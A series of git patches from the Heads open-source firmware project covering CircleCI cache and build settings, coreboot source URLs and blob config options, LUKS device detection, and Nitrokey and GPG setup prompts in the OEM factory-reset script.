-include $(pwd)/boards/z220-cmt-maximized/z220-cmt-maximized.config +include $(pwd)/boards/UNTESTED_z220-cmt-maximized/UNTESTED_z220-cmt-maximized.config CONFIG_HOTPKEY=y export CONFIG_AUTO_BOOT_TIMEOUT=5 -export CONFIG_BOARD_NAME="Hewlett-Packard Z220 Convertible Minitower (HOTP)" \ No newline at end of file +export CONFIG_BOARD_NAME="Hewlett-Packard Z220 Convertible Minitower (HOTP)" diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/UNTESTED_z220-cmt-maximized/UNTESTED_z220-cmt-maximized.config similarity index 100% rename from boards/z220-cmt-maximized/z220-cmt-maximized.config rename to boards/UNTESTED_z220-cmt-maximized/UNTESTED_z220-cmt-maximized.config From 25ffc3e59cdf8237d226762454c62583f497ec86 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 10 Mar 2025 17:01:04 -0400 Subject: [PATCH 571/619] CircleCI: clarify AVAILABLE_MEM_GB=8 usage, which results in CircleCI passing: -j8 --load-average=12 from current Makefile helper Signed-off-by: Thierry Laurion --- .circleci/config.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 95ee78fee..f271c62eb 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -16,7 +16,9 @@ commands: echo "Sourcing /devenv.sh since docker entrypoint doesn't do it as expected" source /devenv.sh rm -rf build/<< parameters.arch >>/<< parameters.target >>/* build/<< parameters.arch >>/log/* - #Force -j8 so that each make subtask consumes 1gb max and force respect of minimal requirements of CircleCI which otherwise randomly fails + #Pass AVAILABLE_MEM_GB=8 to respect CircleCI free tier RAM assignation, which otherwise randomly fails. See Makefile calculations. + # Without AVAILABLE_MEM_GB=8: CircleCI passes '-j36 --load-average=54' + # With AVAILABLE_MEM_GB=8: CircleCI passes '-j8 --load-average=12' make V=1 BOARD=<< parameters.target >> << parameters.subcommand >> AVAILABLE_MEM_GB=8 | ts || touch ./tmpDir/failed_build no_output_timeout: 3h - run: From 10f854cb7f5ae1578c9be6fd1300f8bfd1be6edf Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 10 Mar 2025 17:15:52 -0400 Subject: [PATCH 572/619] BOARD_TESTERS: add Optiplex 9010/7010 SFF/DT to @tlaurion Signed-off-by: Thierry Laurion --- BOARD_TESTERS.md | 1 + 1 file changed, 1 insertion(+) diff --git a/BOARD_TESTERS.md b/BOARD_TESTERS.md index e7e481c3f..a86798b05 100644 --- a/BOARD_TESTERS.md +++ b/BOARD_TESTERS.md @@ -26,6 +26,7 @@ xx30 (Ivy): - [ ] x230-fhd/edp variant: @n4ru @computer-user123 (nitro caster board) @Tonux599 @househead @pcm720 (eDP 4.0 board and 1440p display) @doob85 https://matrix.to/#/@rsabdpy:matrix.org (agan mod board) - [ ] x230t : @fhvyhjriur - [ ] t530 (xx30): @fhvyhjriur @3hhh (Opportunity to mainstream and close https://github.com/linuxboot/heads/issues/1682) +- [ ] Optiplex 7010/9010 SFF/DT: @tlaurion (owns DT variant) xx4x(Haswell): === From b48fca280b3d906fcce56db777213c7d6ab84652 Mon Sep 17 00:00:00 2001 From: Jonathon Hall Date: Wed, 12 Mar 2025 10:11:17 -0400 Subject: [PATCH 573/619] bin/seed_package_mirror.sh: Update talos-2 -> UNTESTED_talos-2 Board name was changed due to being untested. It still builds, so the packages still sync to mirrors for now. Signed-off-by: Jonathon Hall --- bin/seed_package_mirror.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/bin/seed_package_mirror.sh b/bin/seed_package_mirror.sh index ca1dfa61a..731603cc7 100755 --- a/bin/seed_package_mirror.sh +++ b/bin/seed_package_mirror.sh @@ -54,7 +54,7 @@ rm -rf packages/x86 packages/ppc64 echo echo "Downloading packages..." make packages BOARD=qemu-coreboot-fbwhiptail-tpm1-hotp -make packages BOARD=talos-2 # newt, PPC +make packages BOARD=UNTESTED_talos-2 # newt, PPC make packages BOARD=librem_l1um_v2 # TPM2 make packages BOARD=librem_l1um # coreboot 4.11 make packages BOARD=x230-maximized # io386 From 5dfea84a986d21044d57770815f4292ef88e4437 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 24 Mar 2025 15:48:22 -0400 Subject: [PATCH 574/619] bugfix: readd x230-hotp-maximized board build in CircleCI (was dropped because replaced by t480-hotp-maximized by error) Signed-off-by: Thierry Laurion --- .circleci/config.yml | 22 ++++++++++++++-------- 1 file changed, 14 insertions(+), 8 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index f271c62eb..dca31f03a 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -314,13 +314,6 @@ workflows: requires: - t480-hotp-maximized - - build: - name: x230-hotp-maximized_usb-kb - target: x230-hotp-maximized_usb-kb - subcommand: "" - requires: - - t480-hotp-maximized - - build: name: t430-hotp-maximized target: t430-hotp-maximized @@ -335,7 +328,6 @@ workflows: requires: - t480-hotp-maximized - #TODO: move away of 24.02.01 coreboot and depend on optiplex specific dasharo commit - build: name: optiplex-7010_9010-maximized target: optiplex-7010_9010-maximized @@ -364,6 +356,20 @@ workflows: requires: - t480-hotp-maximized + - build: + name: x230-hotp-maximized + target: x230-hotp-maximized + subcommand: "" + requires: + - t480-hotp-maximized + + - build: + name: x230-hotp-maximized_usb-kb + target: x230-hotp-maximized_usb-kb + subcommand: "" + requires: + - t480-hotp-maximized + - build: name: x230-maximized-fhd_edp target: x230-maximized-fhd_edp From c627965397d5511513b4538ae60cdb067b67e519 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 3 Apr 2025 11:06:14 -0400 Subject: [PATCH 575/619] bugfix: modules/coreboot + blobs/xx80: rely on github for git, not review.coreboot.org https://review.coreboot.org is having HTTPS issue. Reported on coreboot matrix channel, but need to build. Log from CircleCI failing when trying to pull deguard: https://app.circleci.com/pipelines/github/tlaurion/heads/3267/workflows/588f8aeb-4d73-4f71-9e6e-fd286e46353e/jobs/66442/parallel-runs/0/steps/0-111 Reasoning: We might dislike GitHub, but when comes maintaining a project and using free systems for bandwidth and CI because no money, we need to rely on systems that don't randomly fall. Using github does that purpose here Signed-off-by: Thierry Laurion --- blobs/xx80/download_clean_deguard_me_pad_tb.sh | 4 ++-- modules/coreboot | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/blobs/xx80/download_clean_deguard_me_pad_tb.sh b/blobs/xx80/download_clean_deguard_me_pad_tb.sh index 3ff2deaec..290ca416b 100755 --- a/blobs/xx80/download_clean_deguard_me_pad_tb.sh +++ b/blobs/xx80/download_clean_deguard_me_pad_tb.sh @@ -90,7 +90,7 @@ function deguard() { # Download the deguard tool into a temporary directory and apply the patch to the cleaned ME blob. pushd "$(mktemp -d)" || exit - git clone https://review.coreboot.org/deguard.git + git clone https://github.com/coreboot/deguard pushd deguard || exit git checkout 0ed3e4ff824fc42f71ee22907d0594ded38ba7b2 @@ -196,4 +196,4 @@ if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then chk_sha256sum "$DEGUARDED_ME_BIN_HASH" "$me_deguarded" chk_sha256sum "$TB_BIN_HASH" "$tb_flashable" -fi \ No newline at end of file +fi diff --git a/modules/coreboot b/modules/coreboot index 1ff9b6497..84b9f5130 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -104,7 +104,7 @@ $(eval $(call coreboot_module,dasharo,24.02.01)) # Therefore, patches/coreboot-2412 includes libreboot patches applied to 24.12 release # patches/coreboot-2412 also includes PR0 patchset, minus xeon support which don't apply to 24.12 as per https://review.coreboot.org/c/coreboot/+/85278 # TODO: @miczyg1 rebase of patchset so that doenstream don't have to maintain, adapt work -coreboot-24.12_repo := https://review.coreboot.org/coreboot.git +coreboot-24.12_repo := https://github.com/coreboot/coreboot coreboot-24.12_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a #Don't reuse any coreboot buildstack for now since nothing else is based on 24.12 $(eval $(call coreboot_module,24.12,)) From 5a68b98c3760bea9c89ae947bb951a26c75868ab Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 3 Apr 2025 11:24:49 -0400 Subject: [PATCH 576/619] bugfix CircleCI: musl-cross-make not part of save_cache, so always rebuilt Fixes https://github.com/linuxboot/heads/issues/1948 Signed-off-by: Thierry Laurion --- .circleci/config.yml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index dca31f03a..76a9d3ea7 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -192,13 +192,13 @@ jobs: key: nix-docker-heads-coreboot-musl-cross-make-{{ checksum "./tmpDir/coreboot_musl-cross-make.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - build/ppc64/coreboot-talos_2 - - build/ppc64/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 + - build/ppc64/musl-cross-make-fd6be58297ee21fcba89216ccd0d4aca1e3f1c5c - build/x86/coreboot-4.11 - build/x86/coreboot-24.02.01 - build/x86/coreboot-24.12 - build/x86/coreboot-dasharo - build/x86/coreboot-purism - - build/x86/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 + - build/x86/musl-cross-make-fd6be58297ee21fcba89216ccd0d4aca1e3f1c5c - crossgcc - packages - save_cache: From 51ca56bca9d5282567a762ac35c36b399c73a592 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 3 Apr 2025 13:39:01 -0400 Subject: [PATCH 577/619] CircleCI: first layer cache: musl-cross-make+packages downloaded, was still pointing to old musl-cross-make First layer cache of CircleCI is reused when second cache is invalidated: that is, to not compiled musl-cross-make from source for x86/ppc64 at each build when any other thing changed under Heads. Unfortunately, https://github.com/linuxboot/heads/pull/1947 was incomplete in that regard, as showed per build: - last save cache step https://app.circleci.com/pipelines/github/tlaurion/heads/3270/workflows/07dee00e-926e-4023-b8a7-669078e6ef31/jobs/66483 - first layer cache saving https://app.circleci.com/pipelines/github/tlaurion/heads/3270/workflows/07dee00e-926e-4023-b8a7-669078e6ef31/jobs/66483 - Warning: could not archive /root/heads/build/ppc64/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - Not found - Warning: could not archive /root/heads/build/x86/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - Not found It is also irrelevant to bind first layer cache with .circleci/config.yml, nor Makefile related changes. After all the first layer is related to reusing musl-cross-make to reduce build times on CI Therefore, only flake.lock and modules/musl-cross-make is relevant to be part of hashed files that should nto change to construct/reuse that cache Signed-off-by: Thierry Laurion --- .circleci/config.yml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 76a9d3ea7..f6cf08e44 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -72,7 +72,7 @@ jobs: - run: name: Creating musl-cross-make and musl-cross-make patches digest (musl-cross-make cache digest) command: | - find .circleci/config.yml ./Makefile ./flake.lock modules/musl-cross-make* -type f | sort -h | xargs sha256sum > ./tmpDir/musl-cross-make.sha256sums + find ./flake.lock modules/musl-cross-make* -type f | sort -h | xargs sha256sum > ./tmpDir/musl-cross-make.sha256sums - restore_cache: # First matched/found key wins and following keys are not tried keys: @@ -182,8 +182,8 @@ jobs: # CircleCI removed their wildcard support, so we have to list precise versions to cache in directory names key: nix-docker-heads-musl-cross-make-{{ checksum "./tmpDir/musl-cross-make.sha256sums" }}{{ .Environment.CACHE_VERSION }} paths: - - build/ppc64/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 - - build/x86/musl-cross-make-38e52db8358c043ae82b346a2e6e66bc86a53bc1 + - build/ppc64/musl-cross-make-fd6be58297ee21fcba89216ccd0d4aca1e3f1c5c + - build/x86/musl-cross-make-fd6be58297ee21fcba89216ccd0d4aca1e3f1c5c - crossgcc - packages - save_cache: From ed06b416a5976b4a3ec5981512f8cd513683e133 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 2 Apr 2025 15:56:46 -0400 Subject: [PATCH 578/619] initrd/etc/luks-functions: fix logic for nvme/non-nvme based LUKS partitions detection Signed-off-by: Thierry Laurion --- initrd/etc/luks-functions | 13 +++++++++---- 1 file changed, 9 insertions(+), 4 deletions(-) diff --git a/initrd/etc/luks-functions b/initrd/etc/luks-functions index eb2d1fb66..4abcd4f22 100644 --- a/initrd/etc/luks-functions +++ b/initrd/etc/luks-functions @@ -14,7 +14,9 @@ list_local_luks_devices() { if cryptsetup isLuks "$device"; then DEBUG "Device $device is a LUKS device" dev_name=$(basename "$device") - parent_dev_name=$(echo "$dev_name" | sed 's/[0-9]*$//') + # Dynamically determine parent device name + parent_dev_name=$(echo "$dev_name" | sed -E 's/(p?[0-9]+)$//') # Handles both NVMe (pX) and non-NVMe (X) + DEBUG "Derived parent device name: $parent_dev_name" if [ -e "/sys/block/$parent_dev_name" ]; then DEBUG "Device $device exists in /sys/block" if ! stat -c %N "/sys/block/$parent_dev_name" 2>/dev/null | grep -q "usb"; then @@ -50,7 +52,7 @@ prompt_luks_passphrase() { # Test LUKS passphrase against all found LUKS containers that are not USB test_luks_passphrase() { TRACE_FUNC - + DEBUG "Testing LUKS passphrase against all found LUKS containers" list_local_luks_devices >/tmp/luks_devices.txt if [ ! -s /tmp/luks_devices.txt ]; then warn "No LUKS devices found" @@ -59,7 +61,7 @@ test_luks_passphrase() { valid_luks_devices=() while read -r luks_device; do - DEBUG "Testing passphrase on $luks_device" + DEBUG "Testing passphrase on device: $luks_device" if cryptsetup open --test-passphrase "$luks_device" --key-file /tmp/secret/luks_current_Disk_Recovery_Key_passphrase; then DEBUG "Passphrase valid for $luks_device" valid_luks_devices+=("$luks_device") @@ -69,10 +71,11 @@ test_luks_passphrase() { done Date: Thu, 3 Apr 2025 13:00:49 -0400 Subject: [PATCH 579/619] oem-factory-reset: GPG Comment is required in current code base, not optional. Change Questionnaire and validate size properly Fixes https://github.com/linuxboot/heads/issues/1949 Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 22f1bba54..916c2d6bb 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -1164,13 +1164,13 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then } done - echo -e "\nEnter Comment (Optional, to distinguish this key from others with same previous attributes. Must be smaller then 60 characters):" - read -r GPG_USER_COMMENT - while [[ ${#GPG_USER_COMMENT} -gt 60 ]]; do - { - echo -e "\nEnter Comment (Optional, to distinguish this key from others with same previous attributes. Must be smaller then 60 characters):" - read -r GPG_USER_COMMENT - } + echo -e "\nEnter Comment (Required: Use this to distinguish this key from others, e.g., its purpose or usage context. Must be 1-60 characters):" + while true; do + read -r GPG_USER_COMMENT + if [[ ${#GPG_USER_COMMENT} -ge 1 && ${#GPG_USER_COMMENT} -le 60 ]]; then + break + fi + echo -e "\nComment must be 1-60 characters long. Please try again:" done fi From 4fbd4e7506bd19f98a80f5b858dd837f6cf436f5 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 3 Apr 2025 15:03:58 -0400 Subject: [PATCH 580/619] oem-factory-reset: In memory GPG keygen + keys copy to card not calling reset_nk3_secret_app, so HOTP PIN not set to GPG PIN when that feature is used (not really used it seems) Fixes https://github.com/linuxboot/heads/issues/1951 Signed-off-by: Thierry Laurion --- initrd/bin/oem-factory-reset | 2 ++ 1 file changed, 2 insertions(+) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 916c2d6bb..255858eec 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -1284,6 +1284,8 @@ gpg --list-keys >/dev/null 2>&1 #Generate keys in memory and copy to smartcard if [ "$GPG_GEN_KEY_IN_MEMORY" = "y" ]; then + # Reset Nitrokey 3 Secrets app before generating keys in memory + reset_nk3_secret_app if [ "$GPG_ALGO" == "RSA" ]; then # Generate GPG master key generate_inmemory_RSA_master_and_subkeys From 3692a41e90bae7748ed1399a453547b1cf41a90e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 3 Apr 2025 15:46:56 -0400 Subject: [PATCH 581/619] codebase: make sure same exact vocabulary is used TPM Owner Password, GPG User PIN, GPG Admin PIN, Secrets app PIN Signed-off-by: Thierry Laurion --- initrd/bin/kexec-select-boot | 2 +- initrd/bin/oem-factory-reset | 8 ++++---- initrd/bin/tpmr | 2 +- initrd/etc/functions | 2 +- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/initrd/bin/kexec-select-boot b/initrd/bin/kexec-select-boot index 6a0edc6a7..cc1283249 100755 --- a/initrd/bin/kexec-select-boot +++ b/initrd/bin/kexec-select-boot @@ -75,7 +75,7 @@ if [ "$CONFIG_TPM2_TOOLS" = "y" ]; then warn "Hash of TPM2 primary key handle does not exist" warn "Please rebuild the TPM2 primary key handle hash by setting a default OS to boot." warn "Select Options-> Boot Options -> Show OS Boot Menu -> -> Make default" - #TODO: Simplify/Automatize TPM2 firmware upgrade process. Today: upgrade, reboot, reseal(type TPM owner pass), resign, boot + #TODO: Simplify/Automatize TPM2 firmware upgrade process. Today: upgrade, reboot, reseal(type TPM Owner Password), resign, boot default_failed="y" DEBUG "Hash of TPM2 primary key handle does not exist under $PRIMHASH_FILE" fi diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 255858eec..48b52d583 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -152,13 +152,13 @@ mount_boot() { reset_nk3_secret_app() { TRACE_FUNC - # Reset Nitrokey 3 Secrets app with $ADMIN_PIN (default 12345678, or customised) + # Reset Nitrokey 3 Secrets app PIN with $ADMIN_PIN (default 12345678, or customised) if lsusb | grep -q "20a0:42b2" && [ -x /bin/hotp_verification ]; then echo - warn "Resetting Nitrokey 3's Secrets App with PIN. Physical presence (touch) will be required" + warn "Resetting Nitrokey 3's Secrets app with PIN. Physical presence (touch) will be required" # TODO: change message when https://github.com/Nitrokey/nitrokey-hotp-verification/issues/41 is fixed # Reset Nitrokey 3 secret app with PIN - # Do 3 attempts to reset Nitrokey 3 Secrets App if return code is 3 (no touch) + # Do 3 attempts to reset Nitrokey 3 Secrets app if return code is 3 (no touch) for attempt in 1 2 3; do if /bin/hotp_verification reset "${ADMIN_PIN}"; then echo @@ -168,7 +168,7 @@ reset_nk3_secret_app() { if [ $error_code -eq 3 ] && [ $attempt -lt 3 ]; then whiptail --msgbox "Nitrokey 3 requires physical presence: touch the dongle when requested" $HEIGHT $WIDTH --title "Nk3 cecrets app reset attempt: $attempt/3" else - whiptail_error_die "Nitrokey 3's secrets app reset failed with error:$error_code. Contact Nitrokey support" + whiptail_error_die "Nitrokey 3's Secrets app reset failed with error:$error_code. Contact Nitrokey support" fi fi done diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 756050e77..73293379e 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -302,7 +302,7 @@ tpm2_counter_inc() { tpm1_counter_create() { TRACE_FUNC - # tpmr handles the TPM owner password (from cache or prompt), but all + # tpmr handles the TPM Owner Password (from cache or prompt), but all # other parameters for TPM1 are passed directly, and TPM2 mimics the # TPM1 interface. prompt_tpm_owner_password diff --git a/initrd/etc/functions b/initrd/etc/functions index 61fb34fee..ccc15dd81 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -83,7 +83,7 @@ confirm_gpg_card() { #TODO: ideally, we ask for confirmation only once per boot session #TODO: even change logic here to try first and then ask user to confirm if not found - #TODO: or ask GPG user PIN once and cache it for the rest of the boot session for reusal + #TODO: or ask GPG User PIN once and cache it for the rest of the boot session for reusal # This is getting in the way of unattended stuff and GPG prompts are confusing anyway, hide them from user. TRACE_FUNC From fe4b5e638fa362689648ffa0d6b793508d261bab Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 2 Apr 2025 11:30:37 -0400 Subject: [PATCH 582/619] Intel config/coreboot-* boards: CONFIG_USE_BLOBS=y since 24.12 is based on git repo now Repro: sudo sed -i 's/# CONFIG_USE_BLOBS is not set/CONFIG_USE_BLOBS=y/g' config/coreboot-* sudo git restore config/coreboot-kgpe-d16_server.config config/coreboot-kgpe-d16_workstation-usb_keyboard.config config/coreboot-kgpe-d16_workstation.config ./docker_repro.sh find ./boards/ -type d | awk -F "/" {'print $3'} | while read board; do make BOARD=$board coreboot.save_in_oldconfig_format_in_place; done Test @miczyg1 hypothesis from https://github.com/linuxboot/heads/issues/1940#issuecomment-2772425103 - We use git repo for coreboot 24.12 as opposed to tarball for previous 22.04.01 - 3rdparty microcode git submodule might be empty for some reason if not instructed to be synced by kconfig) - TODO: Review https://github.com/linuxboot/heads/issues/1940#issuecomment-2772425103 Signed-off-by: Thierry Laurion --- config/coreboot-novacustom-v540tu.config | 4 ++-- config/coreboot-novacustom-v560tu.config | 2 +- config/coreboot-optiplex-7019_9010-maximized.config | 4 +++- config/coreboot-optiplex-7019_9010_TXT-maximized.config | 4 +++- config/coreboot-t420-maximized.config | 5 +++-- config/coreboot-t420.config | 2 +- config/coreboot-t430-legacy-flash.config | 2 +- config/coreboot-t430-legacy.config | 2 +- config/coreboot-t430-maximized.config | 5 +++-- config/coreboot-t440p.config | 5 +++-- config/coreboot-t530-maximized.config | 5 +++-- config/coreboot-w530-maximized.config | 1 - config/coreboot-w541.config | 5 +++-- config/coreboot-x220-maximized.config | 5 +++-- config/coreboot-x220.config | 2 +- config/coreboot-x230-legacy-flash.config | 2 +- config/coreboot-x230-legacy.config | 2 +- config/coreboot-x230-maximized-fhd_edp.config | 5 +++-- config/coreboot-x230-maximized.config | 5 +++-- config/coreboot-z220-cmt.config | 1 - 20 files changed, 39 insertions(+), 29 deletions(-) diff --git a/config/coreboot-novacustom-v540tu.config b/config/coreboot-novacustom-v540tu.config index d216f84b7..4f947d78c 100644 --- a/config/coreboot-novacustom-v540tu.config +++ b/config/coreboot-novacustom-v540tu.config @@ -161,8 +161,8 @@ CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 # # CONFIG_BOARD_CLEVO_V540TNX is not set # CONFIG_BOARD_CLEVO_V560TNX is not set -# CONFIG_BOARD_CLEVO_V560TU is not set CONFIG_BOARD_CLEVO_V540TU=y +# CONFIG_BOARD_CLEVO_V560TU is not set # # Tiger Lake U @@ -721,7 +721,7 @@ CONFIG_DRIVERS_INTEL_PMC=y # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=n +# CONFIG_USE_PC_CMOS_ALTCENTURY is not set CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config index b2e129646..66a6a530d 100644 --- a/config/coreboot-novacustom-v560tu.config +++ b/config/coreboot-novacustom-v560tu.config @@ -721,7 +721,7 @@ CONFIG_DRIVERS_INTEL_PMC=y # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=n +# CONFIG_USE_PC_CMOS_ALTCENTURY is not set CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 diff --git a/config/coreboot-optiplex-7019_9010-maximized.config b/config/coreboot-optiplex-7019_9010-maximized.config index 73963c3c2..e19295b15 100644 --- a/config/coreboot-optiplex-7019_9010-maximized.config +++ b/config/coreboot-optiplex-7019_9010-maximized.config @@ -24,7 +24,9 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y diff --git a/config/coreboot-optiplex-7019_9010_TXT-maximized.config b/config/coreboot-optiplex-7019_9010_TXT-maximized.config index 1c5023fe5..79d2bd4da 100644 --- a/config/coreboot-optiplex-7019_9010_TXT-maximized.config +++ b/config/coreboot-optiplex-7019_9010_TXT-maximized.config @@ -24,7 +24,9 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y diff --git a/config/coreboot-t420-maximized.config b/config/coreboot-t420-maximized.config index c54c07196..be42a857a 100644 --- a/config/coreboot-t420-maximized.config +++ b/config/coreboot-t420-maximized.config @@ -25,7 +25,9 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y @@ -221,7 +223,6 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 diff --git a/config/coreboot-t420.config b/config/coreboot-t420.config index f64676b2a..e332fd789 100644 --- a/config/coreboot-t420.config +++ b/config/coreboot-t420.config @@ -25,7 +25,7 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y diff --git a/config/coreboot-t430-legacy-flash.config b/config/coreboot-t430-legacy-flash.config index 14e96a54f..13f1e0f8f 100644 --- a/config/coreboot-t430-legacy-flash.config +++ b/config/coreboot-t430-legacy-flash.config @@ -24,7 +24,7 @@ CONFIG_COMPRESS_RAMSTAGE_LZMA=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y diff --git a/config/coreboot-t430-legacy.config b/config/coreboot-t430-legacy.config index 47bd1e161..03555f257 100644 --- a/config/coreboot-t430-legacy.config +++ b/config/coreboot-t430-legacy.config @@ -26,7 +26,7 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y CONFIG_TIMESTAMPS_ON_CONSOLE=y -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y diff --git a/config/coreboot-t430-maximized.config b/config/coreboot-t430-maximized.config index 0eb88c11f..194bcca40 100644 --- a/config/coreboot-t430-maximized.config +++ b/config/coreboot-t430-maximized.config @@ -25,7 +25,9 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y CONFIG_COLLECT_TIMESTAMPS=y # CONFIG_TIMESTAMPS_ON_CONSOLE is not set -# CONFIG_USE_BLOBS is not set +CONFIG_USE_BLOBS=y +# CONFIG_USE_AMD_BLOBS is not set +# CONFIG_USE_QC_BLOBS is not set # CONFIG_COVERAGE is not set # CONFIG_UBSAN is not set CONFIG_HAVE_ASAN_IN_RAMSTAGE=y @@ -221,7 +223,6 @@ CONFIG_PS2K_EISAID="PNP0303" CONFIG_PS2M_EISAID="LEN0015" CONFIG_THINKPADEC_HKEY_EISAID="LEN0068" CONFIG_GFX_GMA_PANEL_1_PORT="LVDS" -CONFIG_LENOVO_TBFW_BIN="" CONFIG_D3COLD_SUPPORT=y # CONFIG_DRIVERS_UART_8250IO is not set CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 diff --git a/config/coreboot-t440p.config b/config/coreboot-t440p.config index c9851bbb2..e3f91d4c4 100644 --- a/config/coreboot-t440p.config +++ b/config/coreboot-t440p.config @@ -24,7 +24,9 @@ CONFIG_SEPARATE_ROMSTAGE=y CONFIG_INCLUDE_CONFIG_FILE=y 